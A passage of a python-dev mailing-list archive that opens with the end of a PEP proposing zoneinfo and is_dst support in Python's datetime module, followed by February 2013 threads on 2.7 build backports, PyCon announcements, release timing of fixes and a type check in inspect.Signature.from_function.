since it's located in ``/etc/localtime``. Therefore it is possible to create
a local time zone object with the correct time zone information even though
you don't know the name of the time zone. A function in ``datetime`` should
be provided to return the local time zone.

The support for this will be made by integrating Lennart Regebro's
``tzlocal`` module into the new ``datetime`` module.

For Windows it will look up the local Windows time zone name, and use a
mapping between Windows time zone names and zoneinfo time zone names provided
by the Unicode consortium to convert that to a zoneinfo time zone.

The mapping should be updated before each major or bugfix release, scripts
for doing so will be provided in the ``Tools/`` directory.


Ambiguous times
---------------

When changing over from daylight savings time (DST) the clock is turned back
one hour. This means that the times during that hour happens twice, once
with DST and then once without DST. Similarly, when changing to daylight
savings time, one hour goes missing.

The current time zone API can not differentiate between the two ambiguous
times during a change from DST. For example, in Stockholm the time of
2012-11-28 02:00:00 happens twice, both at UTC 2012-11-28 00:00:00 and also
at 2012-11-28 01:00:00.

The current time zone API can not disambiguate this and therefore it's
unclear which time should be returned::

    # This could be either 00:00 or 01:00 UTC:
    >>> dt = datetime(2012, 10, 28, 2, 0, tzinfo=zoneinfo('Europe/Stockholm'))
    # But we can not specify which:
    >>> dt.astimezone(zoneinfo('UTC'))
    datetime.datetime(2012, 10, 28, 1, 0, tzinfo=<UTC>)

``pytz`` solved this problem by adding ``is_dst`` parameters to several
methods of the tzinfo objects to make it possible to disambiguate times when
this is desired.

This PEP proposes to add these ``is_dst`` parameters to the relevant methods
of the ``datetime`` API, and therefore add this functionality directly to
``datetime``. This is likely the hardest part of this PEP as this involves
updating the C version of the ``datetime`` library with this functionality,
as this involved writing new code, and not just reorganizing existing
external libraries.


Implementation API
==================

The zoneinfo database
---------------------

The latest version of the zoneinfo database should exist in the
``Lib/tzdata`` directory of the Python source control system. This copy of
the database should be updated before every Python feature and bug-fix
release, but not for releases of Python versions that are in
security-fix-only-mode.

Scripts to update the database will be provided in ``Tools/``, and the
release instructions will be updated to include this update.

New configure options ``--enable-internal-timezone-database`` and
``--disable-internal-timezone-database`` will be implemented to enable and
disable the installation of this database when installing from source. A
source install will default to installing them.

Binary installers for systems that have a system-provided zoneinfo database
may skip installing the included database since it would never be used for
these platforms. For other platforms, for example Windows, binary installers
must install the included database.


Changes in the ``datetime``-module
----------------------------------

The public API of the new time zone support contains one new class, one new
function, one new exception and four new collections. In addition to
this, several
methods on the datetime object gets a new ``is_dst`` parameter.

New class ``dsttimezone``
^^^^^^^^^^^^^^^^^^^^^^^^

This class provides a concrete implementation of the ``tzinfo`` base
class that implements DST support.


New function ``zoneinfo(name=None, db_path=None)``
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This function takes a name string that must be a string specifying a
valid zoneinfo time zone, i.e. "US/Eastern", "Europe/Warsaw" or "Etc/GMT".
If not given, the local time zone will be looked up. If an invalid zone name
is given, or the local time zone can not be retrieved, the function raises
`UnknownTimeZoneError`.

The function also takes an optional path to the location of the zoneinfo
database which should be used. If not specified, the function will look for
databases in the following order:

1. Check if the `tzdata-update` module is installed, and then use that
   database.

2. Use the database in ``/usr/share/zoneinfo``, if it exists.

3. Use the Python-provided database in ``Lib/tzdata``.

If no database is found an ``UnknownTimeZoneError`` or subclass thereof will
be raised with a message explaining that no zoneinfo database can be found,
but that you can install one with the ``tzdata-update`` package.


New parameter ``is_dst``
^^^^^^^^^^^^^^^^^^^^^^^^

A new ``is_dst`` parameter is added to several methods to handle time
ambiguity during DST changeovers.

* ``tzinfo.utcoffset(dt, is_dst=False)``

* ``tzinfo.dst(dt, is_dst=False)``

* ``tzinfo.tzname(dt, is_dst=False)``

* ``datetime.astimezone(tz, is_dst=False)``

The ``is_dst`` parameter can be ``False`` (default), ``True``, or ``None``.

``False`` will specify that the given datetime should be interpreted as not
happening during daylight savings time, i.e. that the time specified is after
the change from DST. This is default to preserve existing behavior.

``True`` will specify that the given datetime should be interpreted as happening
during daylight savings time, i.e. that the time specified is before the change
from DST.

``None`` will raise an ``AmbiguousTimeError`` exception if the time specified
was during a DST change over. It will also raise a ``NonExistentTimeError``
if a time is specified during the "missing time" in a change to DST.

New exceptions
^^^^^^^^^^^^^^

* ``UnknownTimeZoneError``

  This exception is a subclass of KeyError and raised when giving a time
  zone specification that can't be found::

     >>> datetime.zoneinfo('Europe/New_York')
     Traceback (most recent call last):
     ...
     UnknownTimeZoneError: There is no time zone called 'Europe/New_York'

* ``InvalidTimeError``

  This exception serves as a base for ``AmbiguousTimeError`` and
  ``NonExistentTimeError``, to enable you to trap these two separately. It
  will subclass from ValueError, so that you can catch these errors together
  with inputs like the 29th of February 2011.

* ``AmbiguousTimeError``

  This exception is raised when giving a datetime specification that
is ambiguous
  while setting ``is_dst`` to None::

    >>> datetime(2012, 11, 28, 2, 0,
tzinfo=zoneinfo('Europe/Stockholm'), is_dst=None)
    >>>
    Traceback (most recent call last):
    ...
    AmbiguousTimeError: 2012-10-28 02:00:00 is ambiguous in time zone
Europe/Stockholm


* ``NonExistentTimeError``

  This exception is raised when giving a datetime specification for a
time that due to
  daylight saving does not exist, while setting ``is_dst`` to None::

    >>> datetime(2012, 3, 25, 2, 0,
tzinfo=zoneinfo('Europe/Stockholm'), is_dst=None)
    >>>
    Traceback (most recent call last):
    ...
    NonExistentTimeError: 2012-03-25 02:00:00 does not exist in time
zone Europe/Stockholm


New collections
^^^^^^^^^^^^^^^

* ``all_timezones`` is the exhaustive list of the time zone names that can
  be used, listed alphabethically.

* ``common_timezones`` is a list of useful, current time zones, listed
  alphabethically.


The ``tzdata-update``-package
-----------------------------

The zoneinfo database will be packaged for easy installation with
``easy_install``/``pip``/``buildout``. This package will not install any
Python code, and will not contain any Python code except that which is needed
for installation.

It will be kept updated with the same tools as the internal database, but
released whenever the ``zoneinfo``-database is updated, and use the same
version schema.


Differences from the ``pytz`` API
=================================

* ``pytz`` has the functions ``localize()`` and ``normalize()`` to work
  around that ``tzinfo`` doesn't have is_dst. When ``is_dst`` is
  implemented directly in ``datetime.tzinfo`` they are no longer needed.

* The ``timezone()`` function is called ``zoneinfo()`` to avoid clashing with
  the ``timezone`` class introduced in Python 3.2.

* ``zoneinfo()`` will return the local time zone if called without arguments.

* The class ``pytz.StaticTzInfo`` is there to provide the ``is_dst``
support for static
  time zones. When ``is_dst`` support is included in
``datetime.tzinfo`` it is no longer needed.

* ``InvalidTimeError`` subclasses from ``ValueError``.


Resources
=========

* http://pytz.sourceforge.net/

* http://pypi.python.org/pypi/tzlocal

* http://pypi.python.org/pypi/python-dateutil

* http://unicode.org/cldr/data/common/supplemental/windowsZones.xml

Copyright
=========

This document has been placed in the public domain.

From solipsis at pitrou.net  Thu Feb  7 10:10:29 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 7 Feb 2013 10:10:29 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com> <20130206143821.06b010ae@pitrou.net>
	<20130206160839.52b17caa@anarchist.wooz.org>
Message-ID: <20130207101029.730a0aeb@pitrou.net>

Le Wed, 6 Feb 2013 16:08:39 -0500,
Barry Warsaw <barry at python.org> a ?crit :
> On Feb 06, 2013, at 02:38 PM, Antoine Pitrou wrote:
> 
> >Le Mon, 04 Feb 2013 21:04:39 +0100,
> >Matthias Klose <doko at ubuntu.com> a ?crit :
> >> So what I do understand, build-related issues like an arm64 or
> >> mingw32 port are ok for 2.7, if they are stable on the trunk, and
> >> communicated on python-dev?
> >
> >Making Python build on a new platform is, AFAICT, considered a new
> >feature, not a bugfix. For example, we support new MSVC versions in
> >the main development branch, not in bugfix branches.
> 
> Except that 2.7 is an exception to that since it's the last of the
> Python 2 series, and has a much longer lifespan than normal
> releases.  I'm pretty sure we agreed that there would be some
> exceptions for issues like new platforms for 2.7.

Well, apparently we didn't make such an exception for MSVC :-)

Regards

Antoine.



From ncoghlan at gmail.com  Thu Feb  7 11:02:39 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Thu, 7 Feb 2013 20:02:39 +1000
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <20130207101029.730a0aeb@pitrou.net>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com> <20130206143821.06b010ae@pitrou.net>
	<20130206160839.52b17caa@anarchist.wooz.org>
	<20130207101029.730a0aeb@pitrou.net>
Message-ID: <CADiSq7fS+7-rPN+aUJZ5KZ7WC2BZ0AYfQVis5JQJXmnb4_5iQg@mail.gmail.com>

On 7 Feb 2013 19:13, "Antoine Pitrou" <solipsis at pitrou.net> wrote:
>
> Le Wed, 6 Feb 2013 16:08:39 -0500,
> Barry Warsaw <barry at python.org> a ?crit :
> > On Feb 06, 2013, at 02:38 PM, Antoine Pitrou wrote:
> >
> > >Le Mon, 04 Feb 2013 21:04:39 +0100,
> > >Matthias Klose <doko at ubuntu.com> a ?crit :
> > >> So what I do understand, build-related issues like an arm64 or
> > >> mingw32 port are ok for 2.7, if they are stable on the trunk, and
> > >> communicated on python-dev?
> > >
> > >Making Python build on a new platform is, AFAICT, considered a new
> > >feature, not a bugfix. For example, we support new MSVC versions in
> > >the main development branch, not in bugfix branches.
> >
> > Except that 2.7 is an exception to that since it's the last of the
> > Python 2 series, and has a much longer lifespan than normal
> > releases.  I'm pretty sure we agreed that there would be some
> > exceptions for issues like new platforms for 2.7.
>
> Well, apparently we didn't make such an exception for MSVC :-)

Python 2.7 still runs on Windows just fine, and changing the C runtime used
is *not* purely a change to the build process (it effectively breaks the
ABI).

I'm not sure how you see that decision being remotely related to Benjamin's
decision to allow the cross-compilation patches.

Cheers,
Nick.

>
> Regards
>
> Antoine.
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ncoghlan%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130207/367d5307/attachment.html>

From solipsis at pitrou.net  Thu Feb  7 11:23:53 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 7 Feb 2013 11:23:53 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
	<CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>
	<51101457.8090505@ubuntu.com> <20130206143821.06b010ae@pitrou.net>
	<20130206160839.52b17caa@anarchist.wooz.org>
	<20130207101029.730a0aeb@pitrou.net>
	<CADiSq7fS+7-rPN+aUJZ5KZ7WC2BZ0AYfQVis5JQJXmnb4_5iQg@mail.gmail.com>
Message-ID: <20130207112353.5f9298bf@pitrou.net>

Le Thu, 7 Feb 2013 20:02:39 +1000,
Nick Coghlan <ncoghlan at gmail.com> a ?crit :
> On 7 Feb 2013 19:13, "Antoine Pitrou" <solipsis at pitrou.net> wrote:
> >
> > Le Wed, 6 Feb 2013 16:08:39 -0500,
> > Barry Warsaw <barry at python.org> a ?crit :
> > > On Feb 06, 2013, at 02:38 PM, Antoine Pitrou wrote:
> > >
> > > >Le Mon, 04 Feb 2013 21:04:39 +0100,
> > > >Matthias Klose <doko at ubuntu.com> a ?crit :
> > > >> So what I do understand, build-related issues like an arm64 or
> > > >> mingw32 port are ok for 2.7, if they are stable on the trunk,
> > > >> and communicated on python-dev?
> > > >
> > > >Making Python build on a new platform is, AFAICT, considered a
> > > >new feature, not a bugfix. For example, we support new MSVC
> > > >versions in the main development branch, not in bugfix branches.
> > >
> > > Except that 2.7 is an exception to that since it's the last of the
> > > Python 2 series, and has a much longer lifespan than normal
> > > releases.  I'm pretty sure we agreed that there would be some
> > > exceptions for issues like new platforms for 2.7.
> >
> > Well, apparently we didn't make such an exception for MSVC :-)
> 
> Python 2.7 still runs on Windows just fine, and changing the C
> runtime used is *not* purely a change to the build process (it
> effectively breaks the ABI).

There is a difference between supporting several MSVCs and changing the
MSVC used for the official binary builds. People did ask us to support
newer MSVCs.

> I'm not sure how you see that decision being remotely related to
> Benjamin's decision to allow the cross-compilation patches.

I was merely replying to the idea that "we allow new build features in
2.7". Non-trivial build patches have a tendency to produce unexpected
breakage (for the record, the initial cross-compiling commits on 3.x
brought a lot of breakage at first). Our build system is complicated
and *very* poorly documented, I am surprised you think it is a good
idea to accept large changes in bugfix releases.

I'm still of the advice that non-trivial build enhancements shouldn't be
treated differently from any new feature. Patches for bugfix branches
can be maintained externally, as they already are (e.g. by Linux
distributions).


(btw, nothing to do with this discussion, Nick, but it appears your
RHEL buildbot is offline)

Regards

Antoine.



From a.cavallo at cavallinux.eu  Thu Feb  7 11:44:10 2013
From: a.cavallo at cavallinux.eu (a.cavallo at cavallinux.eu)
Date: Thu, 7 Feb 2013 11:44:10 +0100
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport thepatches
	from the 3.3 branch to cross-build
Message-ID: <64467.1360233850@cavallinux.eu>


> (btw, nothing to do with this discussion, Nick, but it appears your
> RHEL buildbot is offline)
> 
> Regards

Btw rpm build and packaging can be done on the suse build service: it is a very
complete (and free) service.
https://build.opensuse.org



From brett at python.org  Thu Feb  7 15:18:59 2013
From: brett at python.org (Brett Cannon)
Date: Thu, 7 Feb 2013 09:18:59 -0500
Subject: [Python-Dev] PyCon Tickets Almost Sold Out
In-Reply-To: <CAD+XWwpUpU=h-3Ak3sF3sACfoA52-sc2HoK-8-+dZ2NR4YVahw@mail.gmail.com>
References: <CAD+XWwpUpU=h-3Ak3sF3sACfoA52-sc2HoK-8-+dZ2NR4YVahw@mail.gmail.com>
Message-ID: <CAP1=2W6_z5dd_jqnNncGie3B961dZX0KMoX3tE41tFVCXafOUA@mail.gmail.com>

On Wed, Feb 6, 2013 at 3:29 PM, Brian Curtin <brian at python.org> wrote:

> Since the Language Summit is held at PyCon I think this counts as
> on-topic...
>
> If you're interested in going to the conference, there are under 50
> tickets remaining: https://us.pycon.org/2013/registration/


... and then there were none. Tutorials are still open, though.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130207/ef628fad/attachment.html>

From littleq0903 at gmail.com  Thu Feb  7 16:33:46 2013
From: littleq0903 at gmail.com (LittleQ)
Date: Thu, 7 Feb 2013 23:33:46 +0800
Subject: [Python-Dev] PyConTW is calling for proposals!
Message-ID: <CAHmvK6KNE9z65Kuae29Sg0wzVR2BSv-w6RjXgmBkVaW5XHEejQ@mail.gmail.com>

(link: PyConTW is calling for proposals!)
http://tw.pycon.org/2013/en/blog/2012/11/21/call-for-proposals-en/

Hello, everyone! I'm Colin Su (LittleQ), Public Relation @ PyConTW.

PyCon Taiwan is calling for proposals now, Python is becoming one of famous
programming languages in Taiwan, We need every Python developers'
participating. Go to the link above, and submit your proposal right now! :D

Feel free to send me an email if you have any question.

Have a nice Day,

Colin, PR @ PyConTW

(if this mail is not appropriate on this mailing list (python-dev), just
let me know, then I won't bother everybody anymore, thanks.)

-- 
{
    greeting: "Have a nice day!",
    name: "Colin Su",
    nickname: "LittleQ",
    email: "littleq0903 at gmail.com",
    website: "http://about.me/littleq",
    title: [
        ["Genie Capital", "Web Developer"],
        ["National Chengchi University", "Student", "Computer Science Dept."
]
    ]
}
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130207/386ae257/attachment.html>

From solipsis at pitrou.net  Thu Feb  7 20:47:51 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Thu, 7 Feb 2013 20:47:51 +0100
Subject: [Python-Dev] PyConTW is calling for proposals!
References: <CAHmvK6KNE9z65Kuae29Sg0wzVR2BSv-w6RjXgmBkVaW5XHEejQ@mail.gmail.com>
Message-ID: <20130207204751.7591cee3@pitrou.net>


Hi,

On Thu, 7 Feb 2013 23:33:46 +0800
LittleQ <littleq0903 at gmail.com> wrote:
> 
> PyCon Taiwan is calling for proposals now, Python is becoming one of famous
> programming languages in Taiwan, We need every Python developers'
> participating. Go to the link above, and submit your proposal right now! :D
> 
> Feel free to send me an email if you have any question.
> 
> Have a nice Day,
> 
> Colin, PR @ PyConTW
> 
> (if this mail is not appropriate on this mailing list (python-dev), just
> let me know, then I won't bother everybody anymore, thanks.)

It sounds totally legitimate to me.

cheers

Antoine.



From chris at simplistix.co.uk  Fri Feb  8 11:58:36 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 08 Feb 2013 10:58:36 +0000
Subject: [Python-Dev] help with knowledge on how to find which release a fix
 will land in
Message-ID: <5114DA5C.3090801@simplistix.co.uk>

Hi All,

Where would I look to find out which release a fix for an issue 
(http://bugs.python.org/issue15822 if you're interested ;-)) will land in?

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From solipsis at pitrou.net  Fri Feb  8 12:17:03 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 8 Feb 2013 12:17:03 +0100
Subject: [Python-Dev] help with knowledge on how to find which release a
 fix will land in
References: <5114DA5C.3090801@simplistix.co.uk>
Message-ID: <20130208121703.2c146e6c@pitrou.net>

Le Fri, 08 Feb 2013 10:58:36 +0000,
Chris Withers <chris at simplistix.co.uk> a ?crit :
> Hi All,
> 
> Where would I look to find out which release a fix for an issue 
> (http://bugs.python.org/issue15822 if you're interested ;-)) will
> land in?

Just read that issue's comments and you'll know in which branches the
fix was committed.

Regards

Antoine.



From chris at simplistix.co.uk  Fri Feb  8 13:45:48 2013
From: chris at simplistix.co.uk (Chris Withers)
Date: Fri, 08 Feb 2013 12:45:48 +0000
Subject: [Python-Dev] help with knowledge on how to find which release a
 fix will land in
In-Reply-To: <20130208121703.2c146e6c@pitrou.net>
References: <5114DA5C.3090801@simplistix.co.uk>
	<20130208121703.2c146e6c@pitrou.net>
Message-ID: <5114F37C.8070704@simplistix.co.uk>

On 08/02/2013 11:17, Antoine Pitrou wrote:
> Le Fri, 08 Feb 2013 10:58:36 +0000,
> Chris Withers<chris at simplistix.co.uk>  a ?crit :
>> Hi All,
>>
>> Where would I look to find out which release a fix for an issue
>> (http://bugs.python.org/issue15822 if you're interested ;-)) will
>> land in?
>
> Just read that issue's comments and you'll know in which branches the
> fix was committed.

Indeed, so it's on the 2.7, 3.2 and default (3.3) branches, but how 
would I find out which release it will be in?

I would hope 3.3.1, but how can I check?
What's the next 3.2.x release?

cheers,

Chris

-- 
Simplistix - Content Management, Batch Processing & Python Consulting
             - http://www.simplistix.co.uk

From solipsis at pitrou.net  Fri Feb  8 14:16:04 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 8 Feb 2013 14:16:04 +0100
Subject: [Python-Dev] help with knowledge on how to find which release a
 fix will land in
References: <5114DA5C.3090801@simplistix.co.uk>
	<20130208121703.2c146e6c@pitrou.net>
	<5114F37C.8070704@simplistix.co.uk>
Message-ID: <20130208141604.7a4525a3@pitrou.net>

Le Fri, 08 Feb 2013 12:45:48 +0000,
Chris Withers <chris at simplistix.co.uk> a ?crit :
> On 08/02/2013 11:17, Antoine Pitrou wrote:
> > Le Fri, 08 Feb 2013 10:58:36 +0000,
> > Chris Withers<chris at simplistix.co.uk>  a ?crit :
> >> Hi All,
> >>
> >> Where would I look to find out which release a fix for an issue
> >> (http://bugs.python.org/issue15822 if you're interested ;-)) will
> >> land in?
> >
> > Just read that issue's comments and you'll know in which branches
> > the fix was committed.
> 
> Indeed, so it's on the 2.7, 3.2 and default (3.3) branches, but how 
> would I find out which release it will be in?

The next release, quite naturally.

> I would hope 3.3.1, but how can I check?
> What's the next 3.2.x release?

I suppose you can take a look at http://python.org/download/releases/
and increment the respective minor numbers.

Regards

Antoine.



From ronaldoussoren at mac.com  Fri Feb  8 14:16:49 2013
From: ronaldoussoren at mac.com (Ronald Oussoren)
Date: Fri, 8 Feb 2013 14:16:49 +0100
Subject: [Python-Dev] help with knowledge on how to find which release a
	fix will land in
In-Reply-To: <5114F37C.8070704@simplistix.co.uk>
References: <5114DA5C.3090801@simplistix.co.uk>
	<20130208121703.2c146e6c@pitrou.net>
	<5114F37C.8070704@simplistix.co.uk>
Message-ID: <B067B2DA-9F8D-4765-A9A1-8D1D2CBE8706@mac.com>


On 8 Feb, 2013, at 13:45, Chris Withers <chris at simplistix.co.uk> wrote:

> On 08/02/2013 11:17, Antoine Pitrou wrote:
>> Le Fri, 08 Feb 2013 10:58:36 +0000,
>> Chris Withers<chris at simplistix.co.uk>  a ?crit :
>>> Hi All,
>>> 
>>> Where would I look to find out which release a fix for an issue
>>> (http://bugs.python.org/issue15822 if you're interested ;-)) will
>>> land in?
>> 
>> Just read that issue's comments and you'll know in which branches the
>> fix was committed.
> 
> Indeed, so it's on the 2.7, 3.2 and default (3.3) branches, but how would I find out which release it will be in?
> 
> I would hope 3.3.1, but how can I check?

In general bugfixes are mentioned in Misc/NEWS in the sections for the releases where the bugfix ends up.


> What's the next 3.2.x release?

According to the calendar 3.2.4 will be released on Feb 16.

Ronald
> 
> cheers,
> 
> Chris
> 
> -- 
> Simplistix - Content Management, Batch Processing & Python Consulting
>            - http://www.simplistix.co.uk
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/ronaldoussoren%40mac.com


From tshepang at gmail.com  Fri Feb  8 14:17:47 2013
From: tshepang at gmail.com (Tshepang Lekhonkhobe)
Date: Fri, 8 Feb 2013 15:17:47 +0200
Subject: [Python-Dev] help with knowledge on how to find which release a
 fix will land in
In-Reply-To: <5114F37C.8070704@simplistix.co.uk>
References: <5114DA5C.3090801@simplistix.co.uk>
	<20130208121703.2c146e6c@pitrou.net>
	<5114F37C.8070704@simplistix.co.uk>
Message-ID: <CAA77j2DU2m5EsUBoYS3enf_r5SG9zLh4J+GCK92-o9uAn5JiFw@mail.gmail.com>

On Fri, Feb 8, 2013 at 2:45 PM, Chris Withers <chris at simplistix.co.uk> wrote:
> On 08/02/2013 11:17, Antoine Pitrou wrote:
>>
>> Le Fri, 08 Feb 2013 10:58:36 +0000,
>> Chris Withers<chris at simplistix.co.uk>  a ?crit :
>>>
>>> Hi All,
>>>
>>> Where would I look to find out which release a fix for an issue
>>> (http://bugs.python.org/issue15822 if you're interested ;-)) will
>>> land in?
>>
>>
>> Just read that issue's comments and you'll know in which branches the
>> fix was committed.
>
>
> Indeed, so it's on the 2.7, 3.2 and default (3.3) branches, but how would I
> find out which release it will be in?
>
> I would hope 3.3.1, but how can I check?
> What's the next 3.2.x release?

Have a look at http://docs.python.org/devguide/triaging.html#priority.
That page says that the issue you are interested in has too low a
priority (high) to determine which release it will be in; that is if
you are just looking at the issue report, but you can always poke
those involved in that issue.

From tshepang at gmail.com  Fri Feb  8 14:22:06 2013
From: tshepang at gmail.com (Tshepang Lekhonkhobe)
Date: Fri, 8 Feb 2013 15:22:06 +0200
Subject: [Python-Dev] help with knowledge on how to find which release a
 fix will land in
In-Reply-To: <CAA77j2DU2m5EsUBoYS3enf_r5SG9zLh4J+GCK92-o9uAn5JiFw@mail.gmail.com>
References: <5114DA5C.3090801@simplistix.co.uk>
	<20130208121703.2c146e6c@pitrou.net>
	<5114F37C.8070704@simplistix.co.uk>
	<CAA77j2DU2m5EsUBoYS3enf_r5SG9zLh4J+GCK92-o9uAn5JiFw@mail.gmail.com>
Message-ID: <CAA77j2A3_jaUEwkrag=8agZJCANsQVMNrw9_y4hiMaX0X-2KRg@mail.gmail.com>

On Fri, Feb 8, 2013 at 3:17 PM, Tshepang Lekhonkhobe <tshepang at gmail.com> wrote:
> On Fri, Feb 8, 2013 at 2:45 PM, Chris Withers <chris at simplistix.co.uk> wrote:
>> On 08/02/2013 11:17, Antoine Pitrou wrote:
>>>
>>> Le Fri, 08 Feb 2013 10:58:36 +0000,
>>> Chris Withers<chris at simplistix.co.uk>  a ?crit :
>>>>
>>>> Hi All,
>>>>
>>>> Where would I look to find out which release a fix for an issue
>>>> (http://bugs.python.org/issue15822 if you're interested ;-)) will
>>>> land in?
>>>
>>>
>>> Just read that issue's comments and you'll know in which branches the
>>> fix was committed.
>>
>>
>> Indeed, so it's on the 2.7, 3.2 and default (3.3) branches, but how would I
>> find out which release it will be in?
>>
>> I would hope 3.3.1, but how can I check?
>> What's the next 3.2.x release?
>
> Have a look at http://docs.python.org/devguide/triaging.html#priority.
> That page says that the issue you are interested in has too low a
> priority (high) to determine which release it will be in; that is if
> you are just looking at the issue report, but you can always poke
> those involved in that issue.

Oh, I did not notice that it was already fixed. In that case, it will
be in the next releases of the stated Versions (i.e. 2.7, 3.2, and
3.3).

From stefan_ml at behnel.de  Fri Feb  8 15:09:07 2013
From: stefan_ml at behnel.de (Stefan Behnel)
Date: Fri, 08 Feb 2013 15:09:07 +0100
Subject: [Python-Dev] Why does Signature.from_function() have to check the
 type of its argument?
Message-ID: <kf30u0$r4m$1@ger.gmane.org>

Hi,

I'm wondering about the purpose of this code in
inspect.Signature.from_function():

"""
    if not isinstance(func, types.FunctionType):
        raise TypeError('{!r} is not a Python function'.format(func))
"""

Is there any reason why this method would have to explicitly check the type
of its argument? Why can't it just accept any object that quacks like a
function?

The reason why I ran into this is that I was trying to implement PEP 362
for Cython functions (which are not of Python function type
types.FunctionType), and these two lines currently force me to copy the
entire method body over into my code, just to build a Signature object from
introspection. I find that a really bad design.

Could this check please be removed completely? Or at least be changed to
use isfunction() instead, so that it becomes a bit more easy to monkey
patch it? (which is hard enough to explain to users already, BTW)

Oh, and that's for 3.3.1, please.

Stefan


From benjamin at python.org  Fri Feb  8 16:06:09 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Fri, 8 Feb 2013 10:06:09 -0500
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <kf30u0$r4m$1@ger.gmane.org>
References: <kf30u0$r4m$1@ger.gmane.org>
Message-ID: <CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>

2013/2/8 Stefan Behnel <stefan_ml at behnel.de>:
> Hi,
>
> I'm wondering about the purpose of this code in
> inspect.Signature.from_function():
>
> """
>     if not isinstance(func, types.FunctionType):
>         raise TypeError('{!r} is not a Python function'.format(func))
> """
>
> Is there any reason why this method would have to explicitly check the type
> of its argument? Why can't it just accept any object that quacks like a
> function?

The signature() function checks for types.FunctionType in order to
call Signature.from_function(). How would you reimplement that?

-- 
Regards,
Benjamin

From ncoghlan at gmail.com  Fri Feb  8 16:08:16 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 9 Feb 2013 01:08:16 +1000
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <kf30u0$r4m$1@ger.gmane.org>
References: <kf30u0$r4m$1@ger.gmane.org>
Message-ID: <CADiSq7cM4vPmDuRM-mOdnxo1O-ku=DFdjuo=2pi1V=QS-ZN9QQ@mail.gmail.com>

On Sat, Feb 9, 2013 at 12:09 AM, Stefan Behnel <stefan_ml at behnel.de> wrote:
> Hi,
>
> I'm wondering about the purpose of this code in
> inspect.Signature.from_function():
>
> """
>     if not isinstance(func, types.FunctionType):
>         raise TypeError('{!r} is not a Python function'.format(func))
> """
>
> Is there any reason why this method would have to explicitly check the type
> of its argument? Why can't it just accept any object that quacks like a
> function?

Primarily because the expected approach for alternative objects that
want to expose signature in 3.3 was for them to provide the
__signature__ attribute directly, rather than providing the far
messier grab bag of eclectic attributes exposed by native Python
functions (there's also a tentative plan kicking around somewhere to
have a string version for 3.4, so we can start doing something useful
with functions implemented in C).

I suspect the specific reason for the lack of ducktyping is merely to
provide a nice error message when people call the class method rather
than the module level function, so removing the check sounds
reasonable to me.  The ultimate decision will be Georg's as RM,
though. Probably the quickest way to get a decision from him would be
a tracker issue set to release blocker, with a patch removing those
two lines and a test confirming that non-functions with the right
attributes are correctly accepted (e.g. by copying the attributes from
a real function to a custom object and checking
Signature.from_function gives the same answer).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Fri Feb  8 16:20:41 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sat, 9 Feb 2013 01:20:41 +1000
Subject: [Python-Dev] Why does Signature.from_function() have to check
 the type of its argument?
In-Reply-To: <CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
References: <kf30u0$r4m$1@ger.gmane.org>
	<CAPZV6o_-CWM5RyabZN3fAVGJJPxSu+AACDGw=TQMdVmq4dYRjw@mail.gmail.com>
